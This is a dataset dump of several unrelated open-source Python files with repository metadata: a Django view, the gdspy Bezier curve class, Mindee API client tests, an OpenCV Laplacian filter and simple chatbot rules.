36a6065b1a8f8582cc5b24917a2f89bca2dcc14b

[ "BSD-3-Clause" ]

null

ai_coin_identifier/views.py

JohnGWebDev/coinloggr

36a6065b1a8f8582cc5b24917a2f89bca2dcc14b

[ "BSD-3-Clause" ]

1

2022-01-10T16:50:44.000Z

ai_coin_identifier/views.py

JohnGWebDev/coinloggr

36a6065b1a8f8582cc5b24917a2f89bca2dcc14b

[ "BSD-3-Clause" ]

null

from django.shortcuts import render # Create your views here. def ai_coin_identifier_home_page(request): return render(request, 'ai_coin_identifier/index.html')

27.666667

59

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24

166

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0.791667

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1

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0

7

fa2917be92ab8a53c6a854e4f886527710bd95c9

30,824

py

Python

gdspy/curve.py

leviathanch/gdspy

d440538fa9d1e0f58a7cdc77471f5fe2408e6fea

[ "BSL-1.0" ]

1

2020-01-06T23:15:28.000Z

gdspy/curve.py

leviathanch/gdspy

d440538fa9d1e0f58a7cdc77471f5fe2408e6fea

[ "BSL-1.0" ]

null

gdspy/curve.py

leviathanch/gdspy

d440538fa9d1e0f58a7cdc77471f5fe2408e6fea

[ "BSL-1.0" ]

null

###################################################################### # # # Copyright 2009-2019 Lucas Heitzmann Gabrielli. # # This file is part of gdspy, distributed under the terms of the # # Boost Software License - Version 1.0. See the accompanying # # LICENSE file or <http://www.boost.org/LICENSE_1_0.txt> # # # ###################################################################### """ Curve class. """ import numpy from gdspy import _func_bezier, _hobby, _zero class Curve(object): """ Generation of curves loosely based on SVG paths. Short summary of available methods: ====== ============================= Method Primitive ====== ============================= L/l Line segments H/h Horizontal line segments V/v Vertical line segments C/c Cubic Bezier curve S/s Smooth cubic Bezier curve Q/q Quadratic Bezier curve T/t Smooth quadratic Bezier curve B/b General degree Bezier curve I/i Smooth interpolating curve arc Elliptical arc ====== ============================= The uppercase version of the methods considers that all coordinates are absolute, whereas the lowercase considers that they are relative to the current end point of the curve. Parameters ---------- x : number X-coordinate of the starting point of the curve. If this is a complex number, the value of `y` is ignored and the starting point becomes ``(x.real, x.imag)``. y : number Y-coordinate of the starting point of the curve. tolerance : number Tolerance used to calculate a polygonal approximation to the curve. Notes ----- In all methods of this class that accept coordinate pairs, a single complex number can be passed to be split into its real and imaginary parts. This feature can be useful in expressing coordinates in polar form. All commands follow the SVG 2 specification, except for elliptical arcs and smooth interpolating curves, which are inspired by the Metapost syntax. Examples -------- >>> curve = gdspy.Curve(3, 4).H(1).q(0.5, 1, 2j).L(2 + 3j, 2, 2) >>> pol = gdspy.Polygon(curve.get_points()) """ __slots__ = "points", "tol", "last_c", "last_q" def __init__(self, x, y=0, tolerance=0.01): self.last_c = self.last_q = None self.tol = tolerance ** 2 if isinstance(x, complex): self.points = [numpy.array((x.real, x.imag))] else: self.points = [numpy.array((x, y))] def get_points(self): """ Get the polygonal points that approximate this curve. Returns ------- out : Numpy array[N, 2] Vertices of the polygon. """ delta = (self.points[-1] - self.points[0]) ** 2 if delta[0] + delta[1] < self.tol: return numpy.array(self.points[:-1]) return numpy.array(self.points) def L(self, *xy): """ Add straight line segments to the curve. Parameters ---------- xy : numbers Endpoint coordinates of the line segments. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None i = 0 while i < len(xy): if isinstance(xy[i], complex): self.points.append(numpy.array((xy[i].real, xy[i].imag))) i += 1 else: self.points.append(numpy.array((xy[i], xy[i + 1]))) i += 2 return self def l(self, *xy): """ Add straight line segments to the curve. Parameters ---------- xy : numbers Endpoint coordinates of the line segments relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None o = self.points[-1] i = 0 while i < len(xy): if isinstance(xy[i], complex): self.points.append(o + numpy.array((xy[i].real, xy[i].imag))) i += 1 else: self.points.append(o + numpy.array((xy[i], xy[i + 1]))) i += 2 return self def H(self, *x): """ Add horizontal line segments to the curve. Parameters ---------- x : numbers Endpoint x-coordinates of the line segments. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None y0 = self.points[-1][1] self.points.extend(numpy.array((xx, y0)) for xx in x) return self def h(self, *x): """ Add horizontal line segments to the curve. Parameters ---------- x : numbers Endpoint x-coordinates of the line segments relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None x0, y0 = self.points[-1] self.points.extend(numpy.array((x0 + xx, y0)) for xx in x) return self def V(self, *y): """ Add vertical line segments to the curve. Parameters ---------- y : numbers Endpoint y-coordinates of the line segments. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None x0 = self.points[-1][0] self.points.extend(numpy.array((x0, yy)) for yy in y) return self def v(self, *y): """ Add vertical line segments to the curve. Parameters ---------- y : numbers Endpoint y-coordinates of the line segments relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None x0, y0 = self.points[-1] self.points.extend(numpy.array((x0, y0 + yy)) for yy in y) return self def arc(self, radius, initial_angle, final_angle, rotation=0): """ Add an elliptical arc to the curve. Parameters ---------- radius : number, array-like[2] Arc radius. An elliptical arc can be created by passing an array with 2 radii. initial_angle : number Initial angle of the arc (in *radians*). final_angle : number Final angle of the arc (in *radians*). rotation : number Rotation of the axis of the ellipse. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None if hasattr(radius, "__iter__"): rx, ry = radius radius = max(radius) else: rx = ry = radius full_angle = abs(final_angle - initial_angle) number_of_points = max( 3, 1 + int(0.5 * full_angle / numpy.arccos(1 - self.tol ** 0.5 / radius) + 0.5), ) angles = numpy.linspace( initial_angle - rotation, final_angle - rotation, number_of_points ) pts = numpy.vstack((rx * numpy.cos(angles), ry * numpy.sin(angles))).T if rotation != 0: rot = numpy.empty_like(pts) c = numpy.cos(rotation) s = numpy.sin(rotation) rot[:, 0] = pts[:, 0] * c - pts[:, 1] * s rot[:, 1] = pts[:, 0] * s + pts[:, 1] * c else: rot = pts pts = rot[1:] - rot[0] + self.points[-1] self.points.extend(xy for xy in pts) return self def C(self, *xy): """ Add cubic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinate pairs. Each set of 3 pairs are interpreted as the control point at the beginning of the curve, the control point at the end of the curve and the endpoint of the curve. Returns ------- out : `Curve` This curve. """ self.last_q = None i = 0 while i < len(xy): ctrl = numpy.empty((4, 2)) ctrl[0] = self.points[-1] for j in range(1, 4): if isinstance(xy[i], complex): ctrl[j, 0] = xy[i].real ctrl[j, 1] = xy[i].imag i += 1 else: ctrl[j, 0] = xy[i] ctrl[j, 1] = xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_c = ctrl[2] return self def c(self, *xy): """ Add cubic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinate pairs. Each set of 3 pairs are interpreted as the control point at the beginning of the curve, the control point at the end of the curve and the endpoint of the curve. All coordinates are relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_q = None x0, y0 = self.points[-1] i = 0 while i < len(xy): ctrl = numpy.empty((4, 2)) ctrl[0, 0] = x0 ctrl[0, 1] = y0 for j in range(1, 4): if isinstance(xy[i], complex): ctrl[j, 0] = x0 + xy[i].real ctrl[j, 1] = y0 + xy[i].imag i += 1 else: ctrl[j, 0] = x0 + xy[i] ctrl[j, 1] = y0 + xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_c = ctrl[2] return self def S(self, *xy): """ Add smooth cubic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinate pairs. Each set of 2 pairs are interpreted as the control point at the end of the curve and the endpoint of the curve. The control point at the beginning of the curve is assumed to be the reflection of the control point at the end of the last curve relative to the starting point of the curve. If the previous curve is not a cubic Bezier, the control point is coincident with the starting point. Returns ------- out : `Curve` This curve. """ self.last_q = None if self.last_c is None: self.last_c = self.points[-1] i = 0 while i < len(xy): ctrl = numpy.empty((4, 2)) ctrl[0] = self.points[-1] ctrl[1] = 2 * ctrl[0] - self.last_c for j in range(2, 4): if isinstance(xy[i], complex): ctrl[j, 0] = xy[i].real ctrl[j, 1] = xy[i].imag i += 1 else: ctrl[j, 0] = xy[i] ctrl[j, 1] = xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_c = ctrl[2] return self def s(self, *xy): """ Add smooth cubic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinate pairs. Each set of 2 pairs are interpreted as the control point at the end of the curve and the endpoint of the curve. The control point at the beginning of the curve is assumed to be the reflection of the control point at the end of the last curve relative to the starting point of the curve. If the previous curve is not a cubic Bezier, the control point is coincident with the starting point. All coordinates are relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_q = None if self.last_c is None: self.last_c = self.points[-1] x0, y0 = self.points[-1] i = 0 while i < len(xy): ctrl = numpy.empty((4, 2)) ctrl[0, 0] = x0 ctrl[0, 1] = y0 ctrl[1] = 2 * ctrl[0] - self.last_c for j in range(2, 4): if isinstance(xy[i], complex): ctrl[j, 0] = x0 + xy[i].real ctrl[j, 1] = y0 + xy[i].imag i += 1 else: ctrl[j, 0] = x0 + xy[i] ctrl[j, 1] = y0 + xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_c = ctrl[2] return self def Q(self, *xy): """ Add quadratic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinate pairs. Each set of 2 pairs are interpreted as the control point and the endpoint of the curve. Returns ------- out : `Curve` This curve. """ self.last_c = None i = 0 while i < len(xy): ctrl = numpy.empty((3, 2)) ctrl[0] = self.points[-1] for j in range(1, 3): if isinstance(xy[i], complex): ctrl[j, 0] = xy[i].real ctrl[j, 1] = xy[i].imag i += 1 else: ctrl[j, 0] = xy[i] ctrl[j, 1] = xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_q = ctrl[1] return self def q(self, *xy): """ Add quadratic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinate pairs. Each set of 2 pairs are interpreted as the control point and the endpoint of the curve. All coordinates are relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_c = None x0, y0 = self.points[-1] i = 0 while i < len(xy): ctrl = numpy.empty((3, 2)) ctrl[0, 0] = x0 ctrl[0, 1] = y0 for j in range(1, 3): if isinstance(xy[i], complex): ctrl[j, 0] = x0 + xy[i].real ctrl[j, 1] = y0 + xy[i].imag i += 1 else: ctrl[j, 0] = x0 + xy[i] ctrl[j, 1] = y0 + xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_q = ctrl[1] return self def T(self, *xy): """ Add smooth quadratic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinates of the endpoints of the curves. The control point is assumed to be the reflection of the control point of the last curve relative to the starting point of the curve. If the previous curve is not a quadratic Bezier, the control point is coincident with the starting point. Returns ------- out : `Curve` This curve. """ self.last_c = None if self.last_q is None: self.last_q = self.points[-1] i = 0 while i < len(xy): ctrl = numpy.empty((3, 2)) ctrl[0] = self.points[-1] ctrl[1] = 2 * ctrl[0] - self.last_q if isinstance(xy[i], complex): ctrl[2, 0] = xy[i].real ctrl[2, 1] = xy[i].imag i += 1 else: ctrl[2, 0] = xy[i] ctrl[2, 1] = xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_q = ctrl[1] return self def t(self, *xy): """ Add smooth quadratic Bezier curves to the curve. Parameters ---------- xy : numbers Coordinates of the endpoints of the curves. The control point is assumed to be the reflection of the control point of the last curve relative to the starting point of the curve. If the previous curve is not a quadratic Bezier, the control point is coincident with the starting point. All coordinates are relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_c = None if self.last_q is None: self.last_q = self.points[-1] x0, y0 = self.points[-1] i = 0 while i < len(xy): ctrl = numpy.empty((3, 2)) ctrl[0, 0] = x0 ctrl[0, 1] = y0 ctrl[1] = 2 * ctrl[0] - self.last_q if isinstance(xy[i], complex): ctrl[2, 0] = x0 + xy[i].real ctrl[2, 1] = y0 + xy[i].imag i += 1 else: ctrl[2, 0] = x0 + xy[i] ctrl[2, 1] = y0 + xy[i + 1] i += 2 f = _func_bezier(ctrl) uu = [0, 0.2, 0.5, 0.8, 1] fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) self.last_q = ctrl[1] return self def B(self, *xy): """ Add a general degree Bezier curve. Parameters ---------- xy : numbers Coordinate pairs. The last coordinate is the endpoint of curve and all other are control points. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None i = 0 ctrl = [self.points[-1]] while i < len(xy): if isinstance(xy[i], complex): ctrl.append((xy[i].real, xy[i].imag)) i += 1 else: ctrl.append((xy[i], xy[i + 1])) i += 2 ctrl = numpy.array(ctrl) f = _func_bezier(ctrl) uu = numpy.linspace(-1, 1, ctrl.shape[0] + 1) uu = list(0.5 * (1 + numpy.sign(uu) * numpy.abs(uu) ** 0.8)) fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) return self def b(self, *xy): """ Add a general degree Bezier curve. Parameters ---------- xy : numbers Coordinate pairs. The last coordinate is the endpoint of curve and all other are control points. All coordinates are relative to the current end point. Returns ------- out : `Curve` This curve. """ self.last_c = self.last_q = None x0, y0 = self.points[-1] i = 0 ctrl = [self.points[-1]] while i < len(xy): if isinstance(xy[i], complex): ctrl.append((x0 + xy[i].real, y0 + xy[i].imag)) i += 1 else: ctrl.append((x0 + xy[i], y0 + xy[i + 1])) i += 2 ctrl = numpy.array(ctrl) f = _func_bezier(ctrl) uu = numpy.linspace(-1, 1, ctrl.shape[0] + 1) uu = list(0.5 * (1 + numpy.sign(uu) * numpy.abs(uu) ** 0.8)) fu = [f(u) for u in uu] iu = 1 while iu < len(fu): test_u = 0.5 * (uu[iu - 1] + uu[iu]) test_pt = f(test_u) test_err = 0.5 * (fu[iu - 1] + fu[iu]) - test_pt if test_err[0] ** 2 + test_err[1] ** 2 > self.tol: uu.insert(iu, test_u) fu.insert(iu, test_pt) else: iu += 1 self.points.extend(xy for xy in fu[1:]) return self def I( self, points, angles=None, curl_start=1, curl_end=1, t_in=1, t_out=1, cycle=False, ): """ Add a smooth interpolating curve through the given points. Uses the Hobby algorithm [1]_ to calculate a smooth interpolating curve made of cubic Bezier segments between each pair of points. Parameters ---------- points : array-like[N][2] Vertices in the interpolating curve. angles : array-like[N + 1] or None Tangent angles at each point (in *radians*). Any angles defined as None are automatically calculated. curl_start : number Ratio between the mock curvatures at the first point and at its neighbor. A value of 1 renders the first segment a good approximation for a circular arc. A value of 0 will better approximate a straight segment. It has no effect for closed curves or when an angle is defined for the first point. curl_end : number Ratio between the mock curvatures at the last point and at its neighbor. It has no effect for closed curves or when an angle is defined for the first point. t_in : number or array-like[N + 1] Tension parameter when arriving at each point. One value per point or a single value used for all points. t_out : number or array-like[N + 1] Tension parameter when leaving each point. One value per point or a single value used for all points. cycle : bool If True, calculates control points for a closed curve, with an additional segment connecting the first and last points. Returns ------- out : `Curve` This curve. Examples -------- >>> c1 = gdspy.Curve(0, 1).I([(1, 1), (2, 1), (1, 0)]) >>> c2 = gdspy.Curve(0, 2).I([(1, 2), (2, 2), (1, 1)], ... cycle=True) >>> ps = gdspy.PolygonSet([c1.get_points(), c2.get_points()]) References ---------- .. [1] Hobby, J.D. *Discrete Comput. Geom.* (1986) 1: 123. `DOI: 10.1007/BF02187690 <https://doi.org/10.1007/BF02187690>`_ """ pts = numpy.vstack((self.points[-1:], points)) cta, ctb = _hobby(pts, angles, curl_start, curl_end, t_in, t_out, cycle) args = [] args.extend( x for i in range(pts.shape[0] - 1) for x in [ cta[i, 0], cta[i, 1], ctb[i, 0], ctb[i, 1], pts[i + 1, 0], pts[i + 1, 1], ] ) if cycle: args.extend( [cta[-1, 0], cta[-1, 1], ctb[-1, 0], ctb[-1, 1], pts[0, 0], pts[0, 1]] ) return self.C(*args) def i( self, points, angles=None, curl_start=1, curl_end=1, t_in=1, t_out=1, cycle=False, ): """ Add a smooth interpolating curve through the given points. Uses the Hobby algorithm [1]_ to calculate a smooth interpolating curve made of cubic Bezier segments between each pair of points. Parameters ---------- points : array-like[N][2] Vertices in the interpolating curve (relative to teh current endpoint). angles : array-like[N + 1] or None Tangent angles at each point (in *radians*). Any angles defined as None are automatically calculated. curl_start : number Ratio between the mock curvatures at the first point and at its neighbor. A value of 1 renders the first segment a good approximation for a circular arc. A value of 0 will better approximate a straight segment. It has no effect for closed curves or when an angle is defined for the first point. curl_end : number Ratio between the mock curvatures at the last point and at its neighbor. It has no effect for closed curves or when an angle is defined for the first point. t_in : number or array-like[N + 1] Tension parameter when arriving at each point. One value per point or a single value used for all points. t_out : number or array-like[N + 1] Tension parameter when leaving each point. One value per point or a single value used for all points. cycle : bool If True, calculates control points for a closed curve, with an additional segment connecting the first and last points. Returns ------- out : `Curve` This curve. Examples -------- >>> c1 = gdspy.Curve(0, 1).i([(1, 0), (2, 0), (1, -1)]) >>> c2 = gdspy.Curve(0, 2).i([(1, 0), (2, 0), (1, -1)], ... cycle=True) >>> ps = gdspy.PolygonSet([c1.get_points(), c2.get_points()]) References ---------- .. [1] Hobby, J.D. *Discrete Comput. Geom.* (1986) 1: 123. `DOI: 10.1007/BF02187690 <https://doi.org/10.1007/BF02187690>`_ """ pts = numpy.vstack((_zero.reshape((1, 2)), points)) + self.points[-1] cta, ctb = _hobby(pts, angles, curl_start, curl_end, t_in, t_out, cycle) args = [] args.extend( x for i in range(pts.shape[0] - 1) for x in [ cta[i, 0], cta[i, 1], ctb[i, 0], ctb[i, 1], pts[i + 1, 0], pts[i + 1, 1], ] ) if cycle: args.extend( [cta[-1, 0], cta[-1, 1], ctb[-1, 0], ctb[-1, 1], pts[0, 0], pts[0, 1]] ) return self.C(*args)

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0.01731

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0

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1

0

null

0

7

fa34dbd6de13c6265a7ae2dcd2f5d05f5ab95657

6,434

py

Python

tests/test_client.py

fakela/mindee-api-python

09dce2ac28b639bcc431988ee300a401e0295642

[ "MIT" ]

null

tests/test_client.py

fakela/mindee-api-python

09dce2ac28b639bcc431988ee300a401e0295642

[ "MIT" ]

null

tests/test_client.py

fakela/mindee-api-python

09dce2ac28b639bcc431988ee300a401e0295642

[ "MIT" ]

null

import pytest from mindee import Client, Response, Receipt, Passport from mindee.http import HTTPException @pytest.fixture def empty_client(): return Client() @pytest.fixture def dummy_client(): return Client( expense_receipt_token="dummy", invoice_token="dummy", passport_token="dummy", license_plate_token="dummy", ) @pytest.fixture def dummy_client_dont_raise(): return Client( expense_receipt_token="dummy", invoice_token="dummy", passport_token="dummy", license_plate_token="dummy", raise_on_error=False, ) @pytest.fixture def response(): return Response.load("./tests/data/expense_receipts/v3/receipt.json") def test_parse_receipt_without_token(empty_client): with pytest.raises(Exception): empty_client.parse_receipt("./tests/data/expense_receipts/receipt.jpg") def test_parse_invoice_without_token(empty_client): with pytest.raises(Exception): empty_client.parse_invoice("./tests/data/expense_receipts/receipt.jpg") def test_parse_financial_doc_without_token(empty_client): with pytest.raises(Exception): empty_client.parse_financial_document( "./tests/data/expense_receipts/receipt.jpg" ) def test_parse_passport_without_token(empty_client): with pytest.raises(Exception): empty_client.parse_passport("./tests/data/expense_receipts/receipt.jpg") def test_parse_license_plate_without_token(empty_client): with pytest.raises(Exception): empty_client.parse_license_plate("./tests/data/license_plates/plate.png") def test_parse_receipt_with_wrong_filetype(dummy_client): with pytest.raises(AssertionError): dummy_client.parse_receipt("./tests/data/expense_receipts/receipt.jpga") def test_parse_invoice_with_wrong_filetype(dummy_client): with pytest.raises(AssertionError): dummy_client.parse_invoice("./tests/data/expense_receipts/receipt.jpga") def test_parse_financial_doc_with_wrong_filetype(dummy_client): with pytest.raises(AssertionError): dummy_client.parse_financial_document( "./tests/data/expense_receipts/receipt.jpga" ) def test_parse_passport_with_wrong_filetype(dummy_client): with pytest.raises(AssertionError): dummy_client.parse_passport("./tests/data/expense_receipts/receipt.jpga") def test_parse_plate_with_wrong_filetype(dummy_client): with pytest.raises(AssertionError): dummy_client.parse_license_plate("./tests/data/expense_receipts/receipt.jpga") def test_parse_receipt_with_wrong_token(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_receipt("./tests/data/expense_receipts/receipt.jpg") def test_parse_receipt_with_wrong_version(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_receipt( "./tests/data/expense_receipts/receipt.jpg", version="4000" ) def test_parse_invoice_with_wrong_token(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_invoice("./tests/data/expense_receipts/receipt.jpg") def test_parse_financial_doc_with_wrong_token_jpg(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_financial_document( "./tests/data/expense_receipts/receipt.jpg" ) def test_parse_financial_doc_with_wrong_token_pdf(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_financial_document("./tests/data/invoices/invoice.pdf") def test_parse_passport_with_wrong_token(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_passport("./tests/data/expense_receipts/receipt.jpg") def test_parse_license_plate_with_wrong_token(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_license_plate("./tests/data/license_plates/plate.png") def test_response_dump(response): assert isinstance(response.receipt, Receipt) response.dump("./tests/data/response_dump.json") def test_response_dump_failure(response): with pytest.raises(Exception): response.dump(open("./tests/pathDoesNotExist/aaa")) def test_response_load_failure(): with pytest.raises(Exception): Response.load("notAFile") def test_response_with_passport_type(): response = Response.load("./tests/data/passport/v1/passport.json") assert isinstance(response.passport, Passport) def test_request_with_filepath(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_receipt( "./tests/data/expense_receipts/receipt.jpg", input_type="path" ) def test_request_with_file(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_receipt( open("./tests/data/expense_receipts/receipt.jpg", "rb"), input_type="stream" ) def test_request_with_base64_no_filename(dummy_client): with open("./tests/data/expense_receipts/receipt.txt", "r") as fh: b64 = fh.read() with pytest.raises(AssertionError): dummy_client.parse_receipt(b64, input_type="base64") def test_request_with_base64(dummy_client): with open("./tests/data/expense_receipts/receipt.txt", "r") as fh: b64 = fh.read() with pytest.raises(HTTPException): dummy_client.parse_receipt(b64, input_type="base64", filename="receipt.txt") def test_request_without_raise_on_error(dummy_client_dont_raise): result = dummy_client_dont_raise.parse_receipt( "./tests/data/expense_receipts/receipt.jpg", input_type="path" ) assert result.receipt is None assert len(result.receipts) == 0 def test_request_without_raise_on_error_include_words(dummy_client_dont_raise): result = dummy_client_dont_raise.parse_receipt( "./tests/data/expense_receipts/receipt.jpg", input_type="path", include_words=True, ) assert result.receipt is None assert len(result.receipts) == 0 def test_request_with_file_wrong_type(dummy_client): with pytest.raises(AssertionError): dummy_client.parse_receipt(open("./tests/data/test.txt"), input_type="file") with pytest.raises(AssertionError): dummy_client.parse_receipt("./tests/data/test.txt", input_type="path") def test_pdf_reconstruct(dummy_client): with pytest.raises(HTTPException): dummy_client.parse_invoice("./tests/data/invoices/invoice_6p.pdf")

31.082126

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0

1

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null

0

1

0

1

0

8

fa60f67080da9b568eeb391fc2b1ef84202297b5

149

py

Python

protoseg/filters/laplacian.py

chriamue/protoseg

4ddc7d613aadcb9d25b5773eff688214349ab23f

[ "MIT" ]

null

protoseg/filters/laplacian.py

chriamue/protoseg

4ddc7d613aadcb9d25b5773eff688214349ab23f

[ "MIT" ]

null

protoseg/filters/laplacian.py

chriamue/protoseg

4ddc7d613aadcb9d25b5773eff688214349ab23f

[ "MIT" ]

1

2020-03-30T07:10:54.000Z

import cv2 def laplacian(img): return cv2.Laplacian(img, cv2.CV_8U) def addlaplacian(img): laplac = laplacian(img) return img + laplac

16.555556

40

0.697987

21

149

4.904762

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0

0.033613

0.201342

149

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0

1

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false

0

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1

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1

0

null

0

1

0

1

0

7

ad139a23fac23272ed38c73729e91aaa30e52968

887

py

Python

gozokia/rules/bar.py

avara1986/gozokia

03da46359c4a97a35b8f94686cccec7fc9b438cd

[ "MIT-0", "MIT" ]

null

gozokia/rules/bar.py

avara1986/gozokia

03da46359c4a97a35b8f94686cccec7fc9b438cd

[ "MIT-0", "MIT" ]

null

gozokia/rules/bar.py

avara1986/gozokia

03da46359c4a97a35b8f94686cccec7fc9b438cd

[ "MIT-0", "MIT" ]

null

from gozokia.core.rules import RuleBase class Bar(RuleBase): def __init__(self): self.set_reload(False) def condition_raise(self, *args, **kwargs): super(Bar, self).condition_raise(*args, **kwargs) if self.sentence.lower() == 'foo': return True def condition_completed(self, *args, **kwargs): self.set_completed() def response(self, *args, **kwargs): self.response_output = 'bar' class BarSecond(RuleBase): def __init__(self): self.set_reload(False) def condition_raise(self, *args, **kwargs): super(BarSecond, self).condition_raise(*args, **kwargs) if self.sentence.lower() == 'foo': return True def condition_completed(self, *args, **kwargs): self.set_completed() def response(self, *args, **kwargs): self.response_output = 'bar second'

24.638889

63

0.624577

103

887

5.184466

0.291262

0.149813

0.157303

0.134831

0.861423

0

0.240135

887

35

64

25.342857

0.792285

0

0.695652

0

0.021421

0

1

0.347826

false

0

0.043478

0

0.565217

0

null

0

1

0

null

0

1

0

1

0

8

ad20b7730c9f14ed109d20df970e4aa7b9a0d870

154

py

Python

samplyser/__init__.py

uummoo/samplyser

5fe245332b3488a9d3beac87914ef4d309ef4451

[ "MIT" ]

null

samplyser/__init__.py

uummoo/samplyser

5fe245332b3488a9d3beac87914ef4d309ef4451

[ "MIT" ]

null

samplyser/__init__.py

uummoo/samplyser

5fe245332b3488a9d3beac87914ef4d309ef4451

[ "MIT" ]

null

from samplyser import pitch from samplyser import duration from samplyser import amplitude from samplyser import spectrum from samplyser.analyse import *

25.666667

31

0.857143

20

154

6.6

0.4

0.492424

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0

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154

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0

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true

0

1

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null

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0

null

0

1

0

1

0

1

0

7

ad3600d6b2906005cca057f07e12c4add8ccb2d3

6,034

py

Python

tests/mqtt/test_apps_mqtt.py

fossabot/snipskit

57fe329bf302f863bf190b2cfe1175e13d1d017e

[ "MIT" ]

12

2019-03-18T13:03:46.000Z

2019-08-14T03:13:32.000Z

tests/mqtt/test_apps_mqtt.py

fossabot/snipskit

57fe329bf302f863bf190b2cfe1175e13d1d017e

[ "MIT" ]

4

2019-04-05T07:14:59.000Z

2019-12-06T23:51:31.000Z

tests/mqtt/test_apps_mqtt.py

fossabot/snipskit

57fe329bf302f863bf190b2cfe1175e13d1d017e

[ "MIT" ]

4

2019-05-01T07:56:20.000Z

2019-11-17T13:54:59.000Z

